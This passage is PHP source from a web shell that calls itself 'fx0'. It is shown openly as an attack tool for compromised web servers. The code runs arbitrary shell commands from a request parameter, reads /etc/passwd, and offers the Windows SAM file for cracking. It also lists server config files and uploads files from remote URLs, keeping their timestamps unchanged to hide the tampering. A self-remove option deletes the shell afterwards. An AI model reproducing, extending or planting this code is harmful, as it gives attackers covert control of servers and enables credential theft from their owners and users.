href=\\\"\".\$surl.\"x=ls&d=\".urlencode(\$uid[\"dir\"]).\"\\\">\".\$uid[\"dir\"].\"</a>\";\r\n echo join(\":\",\$uid).\"<br>\";\r\n }\r\n \$i++;\r\n }\r\n }\r\n else {echo \"<a href=\\\"\".\$surl.\"x=security&nixpasswd=1&d=\".\$ud.\"\\\"><b><u>Get /etc/passwd</u></b></a>\";}\r\n }\r\n else {\r\n \$v = \$_SERVER[\"WINDIR\"].\"\\repair\\sam\";\r\n if (file_get_contents(\$v)) {echo \"<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(\".\$v.\")</div></td></tr>\"; }\r\n else {echo \"You can crack Windows passwords. <a href=\\\"\".\$surl.\"x=f&f=sam&d=\".\$_SERVER[\"WINDIR\"].\"\\\\repair&ft=download\\\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>\";}\r\n }\r\n echo \"</td></tr>\";\r\n echo \"<tr><td>Config Files</td><td>\";\r\n if (!\$win) {\r\n \$v = array(\r\n array(\"User Domains\",\"/etc/userdomains\"),\r\n array(\"Cpanel Config\",\"/var/cpanel/accounting.log\"),\r\n array(\"Apache Config\",\"/usr/local/apache/conf/httpd.conf\"),\r\n array(\"Apache Config\",\"/etc/httpd.conf\"),\r\n array(\"Syslog Config\",\"/etc/syslog.conf\"),\r\n array(\"Message of The Day\",\"/etc/motd\"),\r\n array(\"Hosts\",\"/etc/hosts\")\r\n );\r\n \$sep = \"/\";\r\n }\r\n else {\r\n \$windir = \$_SERVER[\"WINDIR\"];\r\n \$etcdir = \$windir . \"\\system32\\drivers\\etc\\\\\";\r\n \$v = array(\r\n array(\"Hosts\",\$etcdir.\"hosts\"),\r\n array(\"Local Network Map\",\$etcdir.\"networks\"),\r\n array(\"LM Hosts\",\$etcdir.\"lmhosts.sam\"),\r\n );\r\n \$sep = \"\\\\\";\r\n }\r\n foreach (\$v as \$sec_arr) {\r\n \$sec_f = substr(strrchr(\$sec_arr[1], \$sep), 1);\r\n \$sec_d = rtrim(\$sec_arr[1],\$sec_f);\r\n \$sec_full = \$sec_d.\$sec_f;\r\n \$sec_d = rtrim(\$sec_d,\$sep);\r\n if (file_get_contents(\$sec_full)) {\r\n echo \" [ <a href=\\\"\".\$surl.\"x=f&f=\$sec_f&d=\".urlencode(\$sec_d).\"&ft=txt\\\"><u><b>\".\$sec_arr[0].\"</b></u></a> ] \";\r\n }\r\n }\r\n echo \"</td></tr>\";\r\n\r\n function displaysecinfo(\$name,\$value) {\r\n if (!empty(\$value)) {\r\n echo \"<tr><td>\".\$name.\"</td><td><pre>\".wordwrap(\$value,100).\"</pre></td></tr>\";\r\n }\r\n }\r\n if (!\$win) {\r\n displaysecinfo(\"OS Version\",myshellexec(\"cat /proc/version\"));\r\n displaysecinfo(\"Kernel Version\",myshellexec(\"sysctl -a | grep version\"));\r\n displaysecinfo(\"Distrib Name\",myshellexec(\"cat /etc/issue.net\"));\r\n displaysecinfo(\"Distrib Name (2)\",myshellexec(\"cat /etc/*-realise\"));\r\n displaysecinfo(\"CPU Info\",myshellexec(\"cat /proc/cpuinfo\"));\r\n displaysecinfo(\"RAM\",myshellexec(\"free -m\"));\r\n displaysecinfo(\"HDD Space\",myshellexec(\"df -h\"));\r\n displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));\r\n displaysecinfo(\"Mount Options\",myshellexec(\"cat /etc/fstab\"));\r\n displaysecinfo(\"cURL installed?\",myshellexec(\"which curl\"));\r\n displaysecinfo(\"lynx installed?\",myshellexec(\"which lynx\"));\r\n displaysecinfo(\"links installed?\",myshellexec(\"which links\"));\r\n displaysecinfo(\"fetch installed?\",myshellexec(\"which fetch\"));\r\n displaysecinfo(\"GET installed?\",myshellexec(\"which GET\"));\r\n displaysecinfo(\"perl installed?\",myshellexec(\"which perl\"));\r\n displaysecinfo(\"Where is Apache?\",myshellexec(\"whereis apache\"));\r\n displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));\r\n displaysecinfo(\"Locate proftpd.conf\",myshellexec(\"locate proftpd.conf\"));\r\n displaysecinfo(\"Locate httpd.conf\",myshellexec(\"locate httpd.conf\"));\r\n displaysecinfo(\"Locate my.conf\",myshellexec(\"locate my.conf\"));\r\n displaysecinfo(\"Locate psybnc.conf\",myshellexec(\"locate psybnc.conf\"));\r\n }\r\n else {\r\n displaysecinfo(\"OS Version\",myshellexec(\"ver\"));\r\n displaysecinfo(\"Account Settings\",myshellexec(\"net accounts\"));\r\n }\r\n echo \"</table>\\n\";\r\n}\r\nif (\$x == \"mkfile\") {\r\nif (\$mkfile != \$d) {\r\n if (file_exists(\$mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars(\$mkfile).\"\\\"</b>: object already exists!\";}\r\n elseif (!fopen(\$mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars(\$mkfile).\"\\\"</b>: access denied!\";}\r\n else {\$x = \"f\"; \$d = dirname(\$mkfile); if (substr(\$d,-1) != DIRECTORY_SEPARATOR) {\$d .= DIRECTORY_SEPARATOR;} \$f = basename(\$mkfile);}\r\n}\r\nelse {\$x = \$dspact = \"ls\";}\r\n}\r\nif (\$x == \"encoder\") {\r\necho \"<script language=\\\"javascript\\\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>\".\r\n \"<form name=\\\"encoder\\\" action=\\\"\".\$surl.\"\\\" method=POST>\".\r\n \"<input type=hidden name=x value=encoder>\".\r\n \"<center><table class=contents>\".\r\n \"<tr><td colspan=4 class=barheader>.: Encoder :.</td>\".\r\n \"<tr><td colspan=2>Input:</td><td><textarea name=\\\"encoder_input\\\" id=\\\"input\\\" cols=70 rows=5>\".@htmlspecialchars(\$encoder_input).\"</textarea><br>\".\r\n \"<input type=submit value=\\\"calculate\\\"></td></tr>\".\r\n \"<tr><td rowspan=4>Hashes:</td>\";\r\nforeach(array(\"md5\",\"crypt\",\"sha1\",\"crc32\") as \$v) {\r\n echo \"<td>\".\$v.\":</td><td><input type=text size=50 onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" value=\\\"\".\$v(\$encoder_input).\"\\\" readonly></td></tr><tr>\";\r\n}\r\necho \"</tr>\".\r\n \"<tr><td rowspan=2>Url:</td>\".\r\n \"<td>urlencode:</td><td><input type=text size=35 onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" value=\\\"\".urlencode(\$encoder_input).\"\\\" readonly></td></tr>\".\r\n \"<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" value=\\\"\".htmlspecialchars(urldecode(\$encoder_input)).\"\\\" readonly></td></tr>\".\r\n \"<tr><td rowspan=2>Base64:</td>\".\r\n \"<td>base64_encode:</td><td><input type=text size=35 onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" value=\\\"\".base64_encode(\$encoder_input).\"\\\" readonly></td></tr>\".\r\n \"<tr><td>base64_decode:</td><td>\";\r\nif (base64_encode(base64_decode(\$encoder_input)) != \$encoder_input) {echo \"<input type=text size=35 value=\\\"Failed!\\\" disabled readonly>\";}\r\nelse {\r\n \$debase64 = base64_decode(\$encoder_input);\r\n \$debase64 = str_replace(\"\\0\",\"[0]\",\$debase64);\r\n \$a = explode(\"\\r\\n\",\$debase64);\r\n \$rows = count(\$a);\r\n \$debase64 = htmlspecialchars(\$debase64);\r\n if (\$rows == 1) { echo \"<input type=text size=35 onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" value=\\\"\".\$debase64.\"\\\" id=\\\"debase64\\\" readonly>\"; }\r\n else { \$rows++; echo \"<textarea cols=\\\"40\\\" rows=\\\"\".\$rows.\"\\\" onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" id=\\\"debase64\\\" readonly>\".\$debase64.\"</textarea>\"; }\r\n echo \" <a href=\\\"#\\\" onclick=\\\"set_encoder_input(document.forms.encoder.debase64.value)\\\">[Send to input]</a>\";\r\n}\r\necho \"</td></tr>\".\r\n \"<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\\\"this.select()\\\" onMouseover=\\\"this.select()\\\" onMouseout=\\\"this.select()\\\" value=\\\"\";\r\n\$c = strlen(\$encoder_input);\r\nfor(\$i=0;\$i<\$c;\$i++) {\r\n \$hex = dechex(ord(\$encoder_input[\$i]));\r\n if (\$encoder_input[\$i] == \"&\") {echo \$encoder_input[\$i];}\r\n elseif (\$encoder_input[\$i] != \"\\\\\") {echo \"%\".\$hex;}\r\n}\r\necho \"\\\" readonly></td></tr><tr><td>Online md5 , sha1 , mysql password cracker<td><a href=\\\"http://passcracking.com\\\" target=_blank>Enter</a></td></tr></table></center></form>\";\r\n}\r\nif (\$x == \"fsbuff\") {\r\n \$arr_copy = \$sess_data[\"copy\"];\r\n \$arr_cut = \$sess_data[\"cut\"];\r\n \$arr = array_merge(\$arr_copy,\$arr_cut);\r\n if (count(\$arr) == 0) {echo \"<h2><center>Buffer is empty!</center></h2>\";}\r\n else {\r\n \$fx_infohead = \"File-System Buffer\";\r\n \$ls_arr = \$arr;\r\n \$disp_fullpath = TRUE;\r\n \$x = \"ls\";\r\n }\r\n}\r\nif (\$x == \"selfremove\") {\r\n if ((\$submit == \$rndcode) and (\$submit != \"\")) {\r\n if (unlink(__FILE__)) {@ob_clean(); echo \"Thanks for using fx0!\"; capriv8exit(); }\r\n else {echo \"<center><b>Can't delete \".__FILE__.\"!</b></center>\";}\r\n }\r\n else {\r\n if (!empty(\$rndcode)) {echo \"<b>Error: incorrect confirmation!</b>\";}\r\n \$rnd = rand(0,9).rand(0,9).rand(0,9);\r\n echo \"<form action=\\\"\".\$surl.\"\\\"><input type=hidden name=x value=selfremove><b>Self-remove: \".__FILE__.\" <br><b>Are you sure?<br>For confirmation, enter \\\"\".\$rnd.\"\\\"</b>: <input type=hidden name=rndcode value=\\\"\".\$rnd.\"\\\"><input type=text name=submit> <input type=submit value=\\\"YES\\\"></form>\";\r\n }\r\n}\r\n\r\n\r\n\r\n?>\r\n\r\n<?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif (\$x == \"search\") {\r\n echo \"<div class=barheader>.: File-System Search :.</div>\";\r\n if (empty(\$search_in)) {\$search_in = \$d;}\r\n if (empty(\$search_name)) {\$search_name = \"(.*)\"; \$search_name_regexp = 1;}\r\n if (empty(\$search_text_wwo)) {\$search_text_regexp = 0;}\r\n if (!empty(\$submit)) {\r\n \$found = array();\r\n \$found_d = 0;\r\n \$found_f = 0;\r\n \$search_i_f = 0;\r\n \$search_i_d = 0;\r\n \$a = array(\r\n \"name\"=>\$search_name,\r\n \"name_regexp\"=>\$search_name_regexp,\r\n \"text\"=>\$search_text,\r\n \"text_regexp\"=>\$search_text_regxp,\r\n \"text_wwo\"=>\$search_text_wwo,\r\n \"text_cs\"=>\$search_text_cs,\r\n \"text_not\"=>\$search_text_not\r\n );\r\n \$searchtime = getmicrotime();\r\n \$in = array_unique(explode(\";\",\$search_in));\r\n foreach(\$in as \$v) {cafsearch(\$v);}\r\n \$searchtime = round(getmicrotime()-\$searchtime,4);\r\n if (count(\$found) == 0) {echo \"No files found!\";}\r\n else {\r\n \$ls_arr = \$found;\r\n \$disp_fullpath = TRUE;\r\n \$x = \"ls\";\r\n }\r\n }\r\n echo \"<table class=contents>\".\r\n \"<tr><td><form method=POST>\".\r\n \"<input type=hidden name=\\\"d\\\" value=\\\"\".\$dispd.\"\\\"><input type=hidden name=x value=\\\"\".\$dspact.\"\\\">\".\r\n \"File or folder Name:</td><td><input type=\\\"text\\\" name=\\\"search_name\\\" size=\\\"\".round(strlen(\$search_name)+25).\"\\\" value=\\\"\".htmlspecialchars(\$search_name).\"\\\"> <input type=\\\"checkbox\\\" name=\\\"search_name_regexp\\\" value=\\\"1\\\" \".(\$search_name_regexp == 1?\" checked\":\"\").\"> - Regular Expression</td></tr>\".\r\n \"<tr><td>Look in (Separate by \\\";\\\"):</td><td><input type=\\\"text\\\" name=\\\"search_in\\\" size=\\\"\".round(strlen(\$search_in)+25).\"\\\" value=\\\"\".htmlspecialchars(\$search_in).\"\\\"></td></tr>\".\r\n \"<tr><td>A word or phrase in the file:</td><td><textarea name=\\\"search_text\\\" cols=\\\"50\\\" rows=\\\"5\\\">\".htmlspecialchars(\$search_text).\"</textarea></td></tr>\".\r\n \"<tr><td></td><td><input type=\\\"checkbox\\\" name=\\\"search_text_regexp\\\" value=\\\"1\\\" \".(\$search_text_regexp == 1?\" checked\":\"\").\"> Regular Expression\".\r\n \" <input type=\\\"checkbox\\\" name=\\\"search_text_wwo\\\" value=\\\"1\\\" \".(\$search_text_wwo == 1?\" checked\":\"\").\"> Whole words only\".\r\n \" <input type=\\\"checkbox\\\" name=\\\"search_text_cs\\\" value=\\\"1\\\" \".(\$search_text_cs == 1?\" checked\":\"\").\"> Case sensitive\".\r\n \" <input type=\\\"checkbox\\\" name=\\\"search_text_not\\\" value=\\\"1\\\" \".(\$search_text_not == 1?\" checked\":\"\").\"> Find files NOT containing the text</td></tr>\".\r\n \"<tr><td></td><td><input type=submit name=submit value=\\\"Search\\\"></form></td></tr>\".\r\n \"</table>\";\r\n if (\$x == \"ls\") {\r\n \$dspact = \$x;\r\n echo \"Search took \".\$searchtime.\" secs (\".\$search_i_f.\" files and \".\$search_i_d.\" folders, \".round((\$search_i_f+\$search_i_d)/\$searchtime,4).\" objects per second).</b>\".\r\n \"<hr size=\\\"1\\\" noshade>\";\r\n }\r\n}\r\nif (\$x == \"chmod\") {\r\n \$mode = fileperms(\$d.\$f);\r\n if (!\$mode) {echo \"<b>Change file-mode with error:</b> can't get current value.\";}\r\n else {\r\n \$form = TRUE;\r\n if (\$chmod_submit)\r\n {\r\n \$octet = \"0\".base_convert((\$chmod_o[\"r\"]?1:0).(\$chmod_o[\"w\"]?1:0).(\$chmod_o[\"x\"]?1:0).(\$chmod_g[\"r\"]?1:0).(\$chmod_g[\"w\"]?1:0).(\$chmod_g[\"x\"]?1:0).(\$chmod_w[\"r\"]?1:0).(\$chmod_w[\"w\"]?1:0).(\$chmod_w[\"x\"]?1:0),2,8);\r\n if (chmod(\$d.\$f,\$octet)) {\$x = \"ls\"; \$form = FALSE; \$err = \"\";}\r\n else {\$err = \"Can't chmod to \".\$octet.\".\";}\r\n }\r\n if (\$form)\r\n {\r\n \$perms = parse_perms(\$mode);\r\n echo \"<b>Changing file-mode (\".\$d.\$f.\"), \".view_perms_color(\$d.\$f).\" (\".substr(decoct(fileperms(\$d.\$f)),-4,4).\")</b><br>\".(\$err?\"<b>Error:</b> \".\$err:\"\").\"<form action=\\\"\".\$surl.\"\\\" method=POST><input type=hidden name=d value=\\\"\".htmlspecialchars(\$d).\"\\\"><input type=hidden name=f value=\\\"\".htmlspecialchars(\$f).\"\\\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1\".(\$perms[\"o\"][\"r\"]?\" checked\":\"\").\"> Read<br><input type=checkbox name=chmod_o[w] value=1\".(\$perms[\"o\"][\"w\"]?\" checked\":\"\").\"> Write<br><input type=checkbox NAME=chmod_o[x] value=1\".(\$perms[\"o\"][\"x\"]?\" checked\":\"\").\">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1\".(\$perms[\"g\"][\"r\"]?\" checked\":\"\").\"> Read<br><input type=checkbox NAME=chmod_g[w] value=1\".(\$perms[\"g\"][\"w\"]?\" checked\":\"\").\"> Write<br><input type=checkbox NAME=chmod_g[x] value=1\".(\$perms[\"g\"][\"x\"]?\" checked\":\"\").\">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1\".(\$perms[\"w\"][\"r\"]?\" checked\":\"\").\"> Read<br><input type=checkbox NAME=chmod_w[w] value=1\".(\$perms[\"w\"][\"w\"]?\" checked\":\"\").\"> Write<br><input type=checkbox NAME=chmod_w[x] value=1\".(\$perms[\"w\"][\"x\"]?\" checked\":\"\").\">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\\\"Save\\\"></td></tr></table></form>\";\r\n }\r\n}\r\n}\r\nif (\$x == \"upload\") {\r\n \$uploadmess = \"\";\r\n \$uploadpath = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$uploadpath);\r\n if (empty(\$uploadpath)) {\$uploadpath = \$d;}\r\n elseif (substr(\$uploadpath,-1) != DIRECTORY_SEPARATOR) {\$uploadpath .= DIRECTORY_SEPARATOR;}\r\n if (!empty(\$submit)) {\r\n global \$_FILES;\r\n \$uploadfile = \$_FILES[\"uploadfile\"];\r\n if (!empty(\$uploadfile[\"tmp_name\"])) {\r\n if (empty(\$uploadfilename)) {\$destin = \$uploadfile[\"name\"];}\r\n else {\$destin = \$userfilename;}\r\n if (!move_uploaded_file(\$uploadfile[\"tmp_name\"],\$uploadpath.\$destin)) {\r\n \$uploadmess .= \"Error uploading file \".\$uploadfile[\"name\"].\" (can't copy \\\"\".\$uploadfile[\"tmp_name\"].\"\\\" to \\\"\".\$uploadpath.\$destin.\"\\\"!<br>\";\r\n }\r\n else { \$uploadmess .= \"File uploaded successfully!<br>\".\$uploadpath.\$destin; }\r\n }\r\n elseif (!empty(\$uploadurl)) {\r\n if (!empty(\$uploadfilename)) {\$destin = \$uploadfilename;}\r\n else {\r\n \$destin = explode(\"/\",\$destin);\r\n \$destin = \$destin[count(\$destin)-1];\r\n if (empty(\$destin)) {\r\n \$i = 0;\r\n \$b = \"\";\r\n while(file_exists(\$uploadpath.\$destin)) {\r\n if (\$i > 0) {\$b = \"_\".\$i;}\r\n \$destin = \"upload\".\$b;\r\n \$i++;\r\n }\r\n }\r\n }\r\n if ((!eregi(\"http://\",\$uploadurl)) and (!eregi(\"https://\",\$uploadurl)) and (!eregi(\"ftp://\",\$uploadurl))) {echo \"<b>Incorrect URL!</b>\";}\r\n else {\r\n \$st = getmicrotime();\r\n \$content = @file_get_contents(\$uploadurl);\r\n \$dt = round(getmicrotime()-\$st,4);\r\n if (!\$content) {\$uploadmess .= \"Can't download file!\";}\r\n else {\r\n if (\$filestealth) {\$stat = stat(\$uploadpath.\$destin);}\r\n \$fp = fopen(\$uploadpath.\$destin,\"w\");\r\n if (!\$fp) {\$uploadmess .= \"Error writing to file \".htmlspecialchars(\$destin).\"!<br>\";}\r\n else {\r\n fwrite(\$fp,\$content,strlen(\$content));\r\n fclose(\$fp);\r\n if (\$filestealth) {touch(\$uploadpath.\$destin,\$stat[9],\$stat[8]);}\r\n \$uploadmess .= \"File saved from \".\$uploadurl.\" !\";\r\n }\r\n }\r\n }\r\n }\r\n else { echo \"No file to upload!\"; }\r\n }\r\n if (\$miniform) {\r\n echo \"<b>\".\$uploadmess.\"</b>\";\r\n \$x = \"ls\";\r\n }\r\n else {\r\n echo \"<table><tr><td colspan=2 class=barheader>\".\r\n \".: File Upload :.</td>\".\r\n \"<td colspan=2>\".\$uploadmess.\"</td></tr>\".\r\n \"<tr><td><form enctype=\\\"multipart/form-data\\\" action=\\\"\".\$surl.\"x=upload&d=\".urlencode(\$d).\"\\\" method=POST>\".\r\n \"From Your Computer:</td><td><input name=\\\"uploadfile\\\" type=\\\"file\\\"></td></tr>\".\r\n \"<tr><td>From URL:</td><td><input name=\\\"uploadurl\\\" type=\\\"text\\\" value=\\\"\".htmlspecialchars(\$uploadurl).\"\\\" size=\\\"70\\\"></td></tr>\".\r\n \"<tr><td>Target Directory:</td><td><input name=\\\"uploadpath\\\" size=\\\"70\\\" value=\\\"\".\$dispd.\"\\\"></td></tr>\".\r\n \"<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>\".\r\n \"<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>\".\r\n \"<tr><td></td><td><input type=submit name=submit value=\\\"Upload\\\">\".\r\n \"</form></td></tr></table>\";\r\n }\r\n}\r\nif (\$x == \"delete\") {\r\n \$delerr = \"\";\r\n foreach (\$actbox as \$v) {\r\n \$result = FALSE;\r\n \$result = fs_rmobj(\$v);\r\n if (!\$result) {\$delerr .= \"Can't delete \".htmlspecialchars(\$v).\"<br>\";}\r\n }\r\n if (!empty(\$delerr)) {echo \"<b>Deleting with errors:</b><br>\".\$delerr;}\r\n \$x = \"ls\";\r\n}\r\nif (!\$usefsbuff) {\r\n if ((\$x == \"paste\") or (\$x == \"copy\") or (\$x == \"cut\") or (\$x == \"unselect\")) {echo \"<center><b>Sorry, buffer is disabled. For enable, set directive \\\"\\\$usefsbuff\\\" as TRUE.</center>\";}\r\n}\r\nelse {\r\n if (\$x == \"copy\") {\$err = \"\"; \$sess_data[\"copy\"] = array_merge(\$sess_data[\"copy\"],\$actbox); ca_sess_put(\$sess_data); \$x = \"ls\"; }\r\n elseif (\$x == \"cut\") {\$sess_data[\"cut\"] = array_merge(\$sess_data[\"cut\"],\$actbox); ca_sess_put(\$sess_data); \$x = \"ls\";}\r\n elseif (\$x == \"unselect\") {foreach (\$sess_data[\"copy\"] as \$k=>\$v) {if (in_array(\$v,\$actbox)) {unset(\$sess_data[\"copy\"][\$k]);}} foreach (\$sess_data[\"cut\"] as \$k=>\$v) {if (in_array(\$v,\$actbox)) {unset(\$sess_data[\"cut\"][\$k]);}} ca_sess_put(\$sess_data); \$x = \"ls\";}\r\n if (\$actemptybuff) {\$sess_data[\"copy\"] = \$sess_data[\"cut\"] = array(); ca_sess_put(\$sess_data);}\r\n elseif (\$actpastebuff) {\r\n \$psterr = \"\";\r\n foreach(\$sess_data[\"copy\"] as \$k=>\$v) {\r\n \$to = \$d.basename(\$v);\r\n if (!fs_copy_obj(\$v,\$to)) {\$psterr .= \"Can't copy \".\$v.\" to \".\$to.\"!<br>\";}\r\n if (\$copy_unset) {unset(\$sess_data[\"copy\"][\$k]);}\r\n }\r\n foreach(\$sess_data[\"cut\"] as \$k=>\$v) {\r\n \$to = \$d.basename(\$v);\r\n if (!fs_move_obj(\$v,\$to)) {\$psterr .= \"Can't move \".\$v.\" to \".\$to.\"!<br>\";}\r\n unset(\$sess_data[\"cut\"][\$k]);\r\n }\r\n ca_sess_put(\$sess_data);\r\n if (!empty(\$psterr)) {echo \"<b>Pasting with errors:</b><br>\".\$psterr;}\r\n \$x = \"ls\";\r\n }\r\n elseif (\$actarcbuff) {\r\n \$arcerr = \"\";\r\n if (substr(\$actarcbuff_path,-7,7) == \".tar.gz\") {\$ext = \".tar.gz\";}\r\n else {\$ext = \".tar.gz\";}\r\n if (\$ext == \".tar.gz\") {\$cmdline = \"tar cfzv\";}\r\n \$cmdline .= \" \".\$actarcbuff_path;\r\n \$objects = array_merge(\$sess_data[\"copy\"],\$sess_data[\"cut\"]);\r\n foreach(\$objects as \$v) {\r\n \$v = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$v);\r\n if (substr(\$v,0,strlen(\$d)) == \$d) {\$v = basename(\$v);}\r\n if (is_dir(\$v)) {\r\n if (substr(\$v,-1) != DIRECTORY_SEPARATOR) {\$v .= DIRECTORY_SEPARATOR;}\r\n \$v .= \"*\";\r\n }\r\n \$cmdline .= \" \".\$v;\r\n }\r\n \$tmp = realpath(\".\");\r\n chdir(\$d);\r\n \$ret = myshellexec(\$cmdline);\r\n chdir(\$tmp);\r\n if (empty(\$ret)) {\$arcerr .= \"Can't call archivator (\".htmlspecialchars(str2mini(\$cmdline,60)).\")!<br>\";}\r\n \$ret = str_replace(\"\\r\\n\",\"\\n\",\$ret);\r\n \$ret = explode(\"\\n\",\$ret);\r\n if (\$copy_unset) {foreach(\$sess_data[\"copy\"] as \$k=>\$v) {unset(\$sess_data[\"copy\"][\$k]);}}\r\n foreach(\$sess_data[\"cut\"] as \$k=>\$v) {\r\n if (in_array(\$v,\$ret)) {fs_rmobj(\$v);}\r\n unset(\$sess_data[\"cut\"][\$k]);\r\n }\r\n ca_sess_put(\$sess_data);\r\n if (!empty(\$arcerr)) {echo \"<b>Archivation errors:</b><br>\".\$arcerr;}\r\n \$x = \"ls\";\r\n }\r\n elseif (\$actpastebuff) {\r\n \$psterr = \"\";\r\n foreach(\$sess_data[\"copy\"] as \$k=>\$v) {\r\n \$to = \$d.basename(\$v);\r\n if (!fs_copy_obj(\$v,\$d)) {\$psterr .= \"Can't copy \".\$v.\" to \".\$to.\"!<br>\";}\r\n if (\$copy_unset) {unset(\$sess_data[\"copy\"][\$k]);}\r\n }\r\n foreach(\$sess_data[\"cut\"] as \$k=>\$v) {\r\n \$to = \$d.basename(\$v);\r\n if (!fs_move_obj(\$v,\$d)) {\$psterr .= \"Can't move \".\$v.\" to \".\$to.\"!<br>\";}\r\n unset(\$sess_data[\"cut\"][\$k]);\r\n }\r\n ca_sess_put(\$sess_data);\r\n if (!empty(\$psterr)) {echo \"<b>Pasting with errors:</b><br>\".\$psterr;}\r\n \$x = \"ls\";\r\n }\r\n}\r\nif (\$x == \"cmd\") {\r\n @chdir(\$chdir);\r\n if (!empty(\$submit)) {\r\n echo \"<div class=barheader>.: Result of Command Execution :.</div>\";\r\n \$olddir = realpath(\".\");\r\n @chdir(\$d);\r\n \$ret = myshellexec(\$cmd);\r\n \$ret = convert_cyr_string(\$ret,\"d\",\"w\");\r\n if (\$cmd_txt) {\r\n \$rows = count(explode(\"\\r\\n\",\$ret))+1;\r\n if (\$rows < 10) {\$rows = 10; }\r\n if (\$msie) { \$cols = 113; }\r\n else { \$cols = 117;}\r\n echo \"<div align=left><pre>\".htmlspecialchars(\$ret).\"</pre></div>\";\r\n }\r\n else {echo \$ret.\"<br>\";}\r\n @chdir(\$olddir);\r\n }\r\n else {\r\n echo \"<b>Command Execution</b>\";\r\n if (empty(\$cmd_txt)) {\$cmd_txt = TRUE;}\r\n }\r\n}\r\nif (\$x == \"ls\") {\r\n if (count(\$ls_arr) > 0) { \$list = \$ls_arr; }\r\n else {\r\n \$list = array();\r\n if (\$h = @opendir(\$d)) {\r\n while ((\$o = readdir(\$h)) !== FALSE) {\$list[] = \$d.\$o;}\r\n closedir(\$h);\r\n }\r\n }\r\n if (count(\$list) == 0) { echo \"<div class=fxerrmsg>Can't open folder (\".htmlspecialchars(\$d).\")!</div>\";}\r\n else {\r\n \$objects = array();\r\n \$vd = \"f\"; \r\n if (\$vd == \"f\") {\r\n \$objects[\"head\"] = array();\r\n \$objects[\"folders\"] = array();\r\n \$objects[\"links\"] = array();\r\n \$objects[\"files\"] = array();\r\n foreach (\$list as \$v) {\r\n \$o = basename(\$v);\r\n \$row = array();\r\n if (\$o == \".\") {\$row[] = \$d.\$o; \$row[] = \"CURDIR\";}\r\n elseif (\$o == \"..\") {\$row[] = \$d.\$o; \$row[] = \"UPDIR\";}\r\n elseif (is_dir(\$v)) {\r\n if (is_link(\$v)) {\$type = \"LINK\";}\r\n else {\$type = \"DIR\";}\r\n \$row[] = \$v;\r\n \$row[] = \$type;\r\n }\r\n elseif(is_file(\$v)) {\$row[] = \$v; \$row[] = filesize(\$v);}\r\n \$row[] = filemtime(\$v);\r\n if (!\$win) {\r\n \$ow = posix_getpwuid(fileowner(\$v));\r\n \$gr = posix_getgrgid(filegroup(\$v));\r\n \$row[] = (\$ow[\"name\"]?\$ow[\"name\"]:fileowner(\$v)).\"/\".(\$gr[\"name\"]?\$gr[\"name\"]:filegroup(\$v));\r\n }\r\n \$row[] = fileperms(\$v);\r\n if ((\$o == \".\") or (\$o == \"..\")) {\$objects[\"head\"][] = \$row;}\r\n elseif (is_link(\$v)) {\$objects[\"links\"][] = \$row;}\r\n elseif (is_dir(\$v)) {\$objects[\"folders\"][] = \$row;}\r\n elseif (is_file(\$v)) {\$objects[\"files\"][] = \$row;}\r\n \$i++;\r\n }\r\n \$row = array();\r\n \$row[] = \"<b>Name</b>\";\r\n \$row[] = \"<b>Size</b>\";\r\n \$row[] = \"<b>Date Modified</b>\";\r\n if (!\$win) {\$row[] = \"<b>Owner/Group</b>\";}\r\n \$row[] = \"<b>Perms</b>\";\r\n \$row[] = \"<b>Action</b>\";\r\n \$parsesort = parsesort(\$sort);\r\n \$sort = \$parsesort[0].\$parsesort[1];\r\n \$k = \$parsesort[0];\r\n if (\$parsesort[1] != \"a\") {\$parsesort[1] = \"d\";}\r\n \$y = \" <a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&sort=\".\$k.(\$parsesort[1] == \"a\"?\"d\":\"a\").\"\\\">\";\r\n \$y .= \"<img src=\\\"\".\$surl.\"x=img&img=sort_\".(\$sort[1] == \"a\"?\"asc\":\"desc\").\"\\\" height=\\\"9\\\" width=\\\"14\\\" alt=\\\"\".(\$parsesort[1] == \"a\"?\"Asc.\":\"Desc\").\"\\\" border=\\\"0\\\"></a>\";\r\n \$row[\$k] .= \$y;\r\n for(\$i=0;\$i<count(\$row)-1;\$i++) {\r\n if (\$i != \$k) {\$row[\$i] = \"<a href=\\\"\".\$surl.\"x=\".\$dspact.\"&d=\".urlencode(\$d).\"&sort=\".\$i.\$parsesort[1].\"\\\">\".\$row[\$i].\"</a>\";}\r\n }\r\n \$v = \$parsesort[0];\r\n usort(\$objects[\"folders\"], \"tabsort\");\r\n usort(\$objects[\"links\"], \"tabsort\");\r\n usort(\$objects[\"files\"], \"tabsort\");\r\n if (\$parsesort[1] == \"d\") {\r\n \$objects[\"folders\"] = array_reverse(\$objects[\"folders\"]);\r\n \$objects[\"files\"] = array_reverse(\$objects[\"files\"]);\r\n }\r\n \$objects 